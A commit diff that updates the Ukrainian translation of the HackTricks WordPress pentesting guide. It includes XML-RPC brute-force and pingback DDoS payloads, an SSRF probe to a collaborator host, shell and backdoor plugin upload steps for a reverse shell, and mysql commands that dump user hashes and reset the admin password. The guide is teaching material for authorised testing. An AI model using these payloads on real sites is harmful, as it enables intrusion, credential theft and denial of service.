mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
19cb25ea62
commit
4f2914e660
@ -2,51 +2,51 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Базова інформація
|
||||
## Основна інформація
|
||||
|
||||
- **Завантажені** файли потрапляють у: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Файли тем можна знайти в /wp-content/themes/,** тож якщо ви зміните якийсь php файлу теми, щоб отримати RCE, ймовірно ви будете використовувати цей шлях. Наприклад: Використовуючи **theme twentytwelve** ви можете отримати доступ до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** файли потрапляють у: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** тому якщо ви зміните якийсь php теми, щоб отримати RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: використовуючи **theme twentytwelve** ви можете отримати доступ до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- У **wp-config.php** можна знайти root-пароль бази даних.
|
||||
- Типові шляхи для входу, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- Шляхи для входу за замовчуванням, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` містить корисну інформацію, таку як версія встановленого WordPress.
|
||||
- `license.txt` містить корисну інформацію, наприклад версію встановленого WordPress.
|
||||
- `wp-activate.php` використовується для процесу активації через email при налаштуванні нового сайту WordPress.
|
||||
- Папки для входу (можуть бути перейменовані, щоб приховати):
|
||||
- Папки для логіну (можуть бути перейменовані для приховування):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` — це файл, який реалізує функціональність WordPress для передавання даних через HTTP як транспорт та XML як механізм кодування. Такий тип взаємодії було замінено WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Папка `wp-content` — основний каталог, де зберігаються плагіни та теми.
|
||||
- `wp-content/uploads/` — каталог, де зберігаються всі файли, завантажені на платформу.
|
||||
- `wp-includes/` — каталог, де зберігаються core-файли, такі як сертифікати, шрифти, файли JavaScript та віджети.
|
||||
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує sitemap XML з усіма публічними записами та публічно запитуваними типами записів і таксономіями.
|
||||
- `xmlrpc.php` — файл, який реалізує функцію WordPress, що дозволяє передавати дані з використанням HTTP як транспортного механізму та XML як механізму кодування. Цей тип комунікації був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Папка `wp-content` — це головний каталог, де зберігаються плагіни та теми.
|
||||
- `wp-content/uploads/` — каталог, куди зберігаються всі файли, завантажені на платформу.
|
||||
- `wp-includes/` — каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript-файли та віджети.
|
||||
- `wp-sitemap.xml` У WordPress версіях 5.5 і вище, WordPress генерує sitemap XML файл з усіма публічними постами та публічно доступними типами записів і таксономіями.
|
||||
|
||||
**Пост-експлуатація**
|
||||
**Post exploitation**
|
||||
|
||||
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача і пароль, authentication keys і salts, а також префікс таблиць бази даних. Цей конфігураційний файл також можна використати для активації DEBUG-режиму, який може бути корисним при усуненні несправностей.
|
||||
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача та пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG режиму, що може бути корисним при усуненні несправностей.
|
||||
|
||||
### Дозволи користувачів
|
||||
### Права користувачів
|
||||
|
||||
- **Адміністратор**
|
||||
- **Редактор**: Публікує та керує своїми й чужими записами
|
||||
- **Автор**: Публікує та керує власними записами
|
||||
- **Дописувач**: Пише і керує своїми записами, але не може їх публікувати
|
||||
- **Підписник**: Переглядає пости та редагує свій профіль
|
||||
- **Administrator**
|
||||
- **Editor**: Публікує та керує своїми й чужими публікаціями
|
||||
- **Author**: Публікує та керує власними публікаціями
|
||||
- **Contributor**: Пише та керує своїми публікаціями, але не може їх публікувати
|
||||
- **Subscriber**: Переглядає пости та редагує свій профіль
|
||||
|
||||
## **Пасивна енумерація**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Отримати версію WordPress**
|
||||
### **Get WordPress version**
|
||||
|
||||
Перевірте, чи можна знайти файли `/license.txt` або `/readme.html`
|
||||
Перевірте, чи можете знайти файли `/license.txt` або `/readme.html`
|
||||
|
||||
У **коді сторінки** (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
У **вихідному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- CSS link файли
|
||||
- Файли підключення CSS
|
||||
|
||||
.png>)
|
||||
|
||||
- JavaScript файли
|
||||
- Файли JavaScript
|
||||
|
||||
.png>)
|
||||
|
||||
@ -68,50 +68,50 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Отримати теми
|
||||
### Отримання тем
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Отримання версій загалом
|
||||
### Загальне отримання версій
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Active enumeration
|
||||
## Активне перерахування
|
||||
|
||||
### Plugins and Themes
|
||||
### Плагіни та Теми
|
||||
|
||||
Ймовірно, ви не зможете знайти всі можливі Plugins і Themes. Щоб виявити їх усі, вам потрібно буде **actively Brute Force a list of Plugins and Themes** (на щастя для нас, існують автоматизовані інструменти, які містять ці списки).
|
||||
Ви, ймовірно, не зможете знайти всі плагіни та теми, які можуть бути присутні. Щоб виявити їх усі, потрібно **активно Brute Force список плагінів та тем** (на щастя, існують автоматизовані інструменти, що містять ці списки).
|
||||
|
||||
### Користувачі
|
||||
|
||||
- **ID Brute:** Ви отримуєте валідних користувачів з сайту WordPress шляхом Brute Forcing user IDs:
|
||||
- **ID Brute:** Ви отримуєте дійсних користувачів з WordPress-сайту шляхом Brute Forcing ID користувачів:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Якщо відповіді — **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id є **недійсним**.
|
||||
Якщо відповіді — **200** або **30X**, це означає, що id — **валідний**. Якщо відповідь — **400**, то id — **невалідний**.
|
||||
|
||||
- **wp-json:** Також можна спробувати отримати інформацію про користувачів, виконуючи запит:
|
||||
- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, зробивши запит:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Ще один ендпоїнт `/wp-json/`, який може розкрити деяку інформацію про користувачів, це:
|
||||
Ще один endpoint `/wp-json/`, який може розкрити деяку інформацію про користувачів:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Зверніть увагу, що ця кінцева точка повертає лише користувачів, які опублікували пост. **Інформація надається лише про користувачів, у яких ця функція увімкнена**.
|
||||
Note that this endpoint only exposes users that have made a post. **Інформація буде надана лише про користувачів, у яких ця функція увімкнена**.
|
||||
|
||||
Також зауважте, що **/wp-json/wp/v2/pages** може leak IP-адреси.
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** є **різним** — воно вказує, чи існує зазначений **username** чи ні.
|
||||
- **Login username enumeration**: під час входу через **`/wp-login.php`** **повідомлення** **відрізняється** і вказує, **чи існує ім'я користувача чи ні**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Якщо `xml-rpc.php` активний, ви можете виконати credentials brute-force або використати його для запуску DoS атак на інші ресурси. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
Якщо `xml-rpc.php` активний, ви можете виконати brute-force облікових даних або використати його для запуску DoS атак на інші ресурси. (Ви можете автоматизувати цей процес[ using this](https://github.com/relarizky/wpxploit) наприклад).
|
||||
|
||||
Щоб перевірити, чи активний, спробуйте звернутися до _**/xmlrpc.php**_ і відправити цей запит:
|
||||
Щоб перевірити, чи він активний, спробуйте звернутися до _**/xmlrpc.php**_ та надіслати такий запит:
|
||||
|
||||
**Перевірити**
|
||||
**Перевірка**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
**Облікові дані Bruteforce**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використати для brute-force облікових даних. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** є деякими з методів, які можна використати для brute-force credentials. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 повинно з'являтися, якщо облікові дані недійсні.
|
||||
Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо credentials недійсні.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Використовуючи правильні credentials, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Також є **швидший спосіб** перебору облікових даних за допомогою **`system.multicall`**, оскільки можна спробувати кілька облікових даних в одному запиті:
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Цей метод призначений для програм, а не для людей, і є застарілим, тому не підтримує 2FA. Отже, якщо у вас є валідні облікові дані, але основний вхід захищений 2FA, **ви можете зловживати xmlrpc.php для входу з цими обліковими даними, оминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які доступні через консоль, але все ще можете отримати RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Цей метод призначений для програм, а не для людей, і доволі старий, тому він не підтримує 2FA. Отже, якщо у вас є валідні creds, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php щоб увійти з цими creds, обходячи 2FA**. Зауважте, що ви не зможете виконувати всі дії, доступні через консоль, але все ще можете отримати RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.\
|
||||
Це можна використати, щоб попросити **тисячі** Wordpress **сайтів** звернутися до однієї **локації** (внаслідок чого там виникне **DDoS**) або застосувати це, щоб змусити **Wordpress** сканувати внутрішню **мережу** (можна вказати будь-який порт).
|
||||
Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит на будь-який хост/порт.\
|
||||
Це можна використати, щоб змусити **тисячі** сайтів **Wordpress** звернутися до однієї **локації** (унаслідок чого там спричиниться **DDoS**), або ви можете використати це, щоб змусити **Wordpress** просканувати якусь внутрішню **мережу** (ви можете вказати будь-який порт).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
Якщо ви отримаєте **faultCode** зі значенням **більшим** за **0** (17), це означає, що порт відкритий.
|
||||
Якщо ви отримуєте **faultCode** зі значенням **більшим** за **0** (17), це означає, що порт відкритий.
|
||||
|
||||
Погляньте на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
|
||||
Зверніть увагу на використання **`system.multicall`** у попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -210,14 +210,14 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
### wp-cron.php DoS
|
||||
|
||||
Цей файл зазвичай знаходиться в корені сайту Wordpress: **`/wp-cron.php`**\
|
||||
При зверненні до цього файлу виконується **важкий** MySQL **запит**, тому він може бути використаний зловмисниками для спричинення **DoS**.\
|
||||
До того ж, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може спричинити проблеми (DoS).
|
||||
Коли цей файл **accessed**, виконується "**heavy**" MySQL **query**, тож його можуть використовувати **attackers** для **cause** **DoS**.\
|
||||
Також за замовчуванням `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричиняти проблеми (DoS).
|
||||
|
||||
Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме необхідні дії через регулярні інтервали (без створення проблем).
|
||||
Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без викликання проблем).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Спробуйте звернутися до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і сайт Wordpress може зробити запит до вас.
|
||||
Спробуйте отримати доступ до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і Worpress site може зробити запит до вас.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,28 +230,28 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** і шлях **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати.
|
||||
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** та шлях **/wp-json/oembed/1.0/proxy**, і якщо вони є, намагається їх експлуатувати.
|
||||
|
||||
## Автоматичні інструменти
|
||||
## Automatic Tools
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Отримати доступ, перезаписавши біт
|
||||
## Отримання доступу шляхом перезапису біта
|
||||
|
||||
Більше схоже на цікавинку, ніж на реальну атаку. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) можна було перевернути 1 біт у будь-якому wordpress файлі. Тому можна було змінити біт на позиції `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб замінити операцію NOT (`!`) на NOP.
|
||||
Скоріше цікавинка, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) ви могли перевернути 1 біт у будь-якому wordpress файлі. Тобто можна було змінити позицію `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб зробити NOP для операції NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Панель RCE**
|
||||
|
||||
**Зміна php-файлу теми, що використовується (admin credentials needed)**
|
||||
**Зміна php у використовуваній темі (потрібні admin credentials)**
|
||||
|
||||
Зовнішній вигляд → Редактор тем → 404 Template (праворуч)
|
||||
Appearance → Theme Editor → 404 Template (праворуч)
|
||||
|
||||
Змініть вміст на php shell:
|
||||
Замініть вміст на php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -265,65 +265,65 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
щоб отримати сесію.
|
||||
|
||||
## Плагін RCE
|
||||
## Plugin RCE
|
||||
|
||||
### PHP плагін
|
||||
### PHP plugin
|
||||
|
||||
Може бути можливо завантажити .php файли як плагін.\
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Створіть ваш php backdoor, наприклад:
|
||||
|
||||
.png>)
|
||||
|
||||
Потім додайте новий плагін:
|
||||
Потім додайте новий plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Завантажте плагін і натисніть Install Now:
|
||||
Завантажте plugin та натисніть Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Натисніть на Procced:
|
||||
Натисніть Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Ймовірно, це нічого не покаже, але якщо перейти в Media, ви побачите завантажений shell:
|
||||
Мабуть, це нібито нічого не зробить, але якщо перейти в Media, ви побачите ваш shell, що був завантажений:
|
||||
|
||||
.png>)
|
||||
|
||||
Відкривши його, ви побачите URL для виконання reverse shell:
|
||||
Відкрийте його і ви побачите URL для виконання reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Цей метод передбачає встановлення шкідливого плагіна, відомого своєю вразливістю, який можна експлуатувати для отримання web shell. Цей процес виконується через WordPress dashboard таким чином:
|
||||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||||
|
||||
1. **Отримання плагіна**: плагін отримується з джерела, наприклад Exploit DB, як [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Встановлення плагіна**:
|
||||
- Перейдіть до WordPress dashboard, потім в `Dashboard > Plugins > Upload Plugin`.
|
||||
- Завантажте zip-файл завантаженого плагіна.
|
||||
3. **Активація плагіна**: Після успішного встановлення плагін потрібно активувати через dashboard.
|
||||
4. **Експлуатація**:
|
||||
- Після встановлення та активації плагін "reflex-gallery" можна експлуатувати, оскільки він відомий своєю вразливістю.
|
||||
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль та виконавши певні команди, можна встановити meterpreter сесію, що надасть несанкціонований доступ до сайту.
|
||||
- Зауважте, що це лише один із багатьох методів експлуатації WordPress сайту.
|
||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Перейдіть у WordPress dashboard, потім Dashboard > Plugins > Upload Plugin.
|
||||
- Завантажте zip-файл завантаженого плагіну.
|
||||
3. **Plugin Activation**: Після успішної інсталяції плагін потрібно активувати через dashboard.
|
||||
4. **Exploitation**:
|
||||
- Якщо плагін "reflex-gallery" встановлений і активований, його можна експлуатувати, оскільки він відомий як вразливий.
|
||||
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль та виконавши потрібні команди, можна встановити meterpreter session, що надає несанкціонований доступ до сайту.
|
||||
- Варто зазначити, що це лише один із багатьох методів експлуатації WordPress сайту.
|
||||
|
||||
У матеріалі присутні зображення, що показують кроки в WordPress dashboard для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в правовому контексті, наприклад, під час penetration testing із явним дозволом.
|
||||
Контент містить ілюстрації, що зображують кроки в WordPress dashboard для встановлення та активації плагіну. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад, під час penetration testing з явним дозволом.
|
||||
|
||||
**Для більш детальних кроків перегляньте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## Від XSS до RCE
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — скрипт, призначений ескалації уразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для додаткової інформації див. [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він **підтримує Wordpress версії 6.X.X, 5.X.X та 4.X.X і дозволяє:**
|
||||
- _**Privilege Escalation:**_ Створює користувача в WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажити ваш власний плагін (backdoor) у WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Редагувати вбудовані плагіни у WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Редагувати вбудовані теми у WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Користувацькі експлойти для плагінів/тем сторонніх розробників WordPress.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Створює користувача у WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажує ваш custom plugin (backdoor) у WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Редагує вбудовані плагіни у WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Редагує вбудовані теми у WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Користувацькі експлойти для сторонніх плагінів/тем WordPress.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Витягти імена користувачів та паролі:
|
||||
Витягнути імена користувачів та паролі:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -333,27 +333,27 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Поверхня атаки
|
||||
### Attack Surface
|
||||
|
||||
Знання того, як Wordpress плагін може відкривати функціональність, є ключовим для знаходження вразливостей у цій функціональності. Ви можете дізнатися, як плагін може відкривати функціональність у наведених нижче пунктах та знайти приклади вразливих плагінів в [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Знання того, як Wordpress plugin може експонувати функціональність, є ключовим для знаходження вразливостей у цій функціональності. Ви можете знайти, як плагін може експонувати функціональність, у наведених пунктах та переглянути приклади вразливих плагінів у [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX handlers. Вони можуть містити помилки в логіці, authorization або authentication. Більше того, часто ці функції базуватимуть як authentication, так і authorization на існуванні wordpress nonce, який **будь-який користувач, автентифікований в екземплярі Wordpress, може мати** (незалежно від ролі).
|
||||
Один зі способів, яким Wordpress plugin може виставляти функції для users — через AJAX handlers. Вони можуть містити помилки в логіці, authorization або authentication. Більше того, доволі frequently ці функції будуть базувати і authentication, і authorization на наявності wordpress nonce, який **any user authenticated in the Wordpress instance might have** (незалежно від його role).
|
||||
|
||||
Це функції, які можна використовувати для відкриття функції в плагіні:
|
||||
These are the functions that can be used to expose a function in a plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неаутентифікованих).**
|
||||
**Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему, вона зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
|
||||
> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему — вона зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій, що вимагають високих привілеїв.
|
||||
|
||||
- **REST API**
|
||||
|
||||
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
|
||||
Також можливо відкривати доступ до функцій wordpress, реєструючи REST API за допомогою функції `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,20 +363,20 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` — callback-функція, яка перевіряє, чи уповноважений певний користувач викликати метод API.
|
||||
The `permission_callback` — це callback-функція, яка перевіряє, чи авторизований конкретний користувач для виклику API-методу.
|
||||
|
||||
**Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.**
|
||||
|
||||
- **Прямий доступ до php-файлу**
|
||||
- **Direct access to the php file**
|
||||
|
||||
Звісно, Wordpress використовує PHP, і файли всередині плагінів безпосередньо доступні з вебу. Тому, якщо плагін відкриває будь-яку вразливу функціональність, яка запускається просто при доступі до файлу, її зможе експлуатувати будь-який користувач.
|
||||
Звісно, Wordpress використовує PHP, і файли всередині плагінів доступні безпосередньо з вебу. Тому, якщо плагін відкриває вразливу функціональність, яка спрацьовує лише при доступі до файлу, її зможе експлуатувати будь-який користувач.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Деякі плагіни реалізують «trusted header» скорочення для внутрішніх інтеграцій або reverse proxy і потім використовують цей header для встановлення поточного контексту користувача для REST-запитів. Якщо header не прив'язаний криптографічно до запиту на upstream-компоненті, зловмисник може спуфити його й звертатися до привілейованих REST маршрутів як адміністратор.
|
||||
Деякі плагіни реалізують «довірені заголовки» як скорочення для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок, щоб встановити поточний контекст користувача для REST-запитів. Якщо заголовок не пов'язаний криптографічно з запитом компонентом upstream, атакуючий може підробити його і звертатися до привілейованих REST-маршрутів як адміністратор.
|
||||
|
||||
- Impact: неавторизоване підвищення привілеїв до admin шляхом створення нового адміністратора через core users REST route.
|
||||
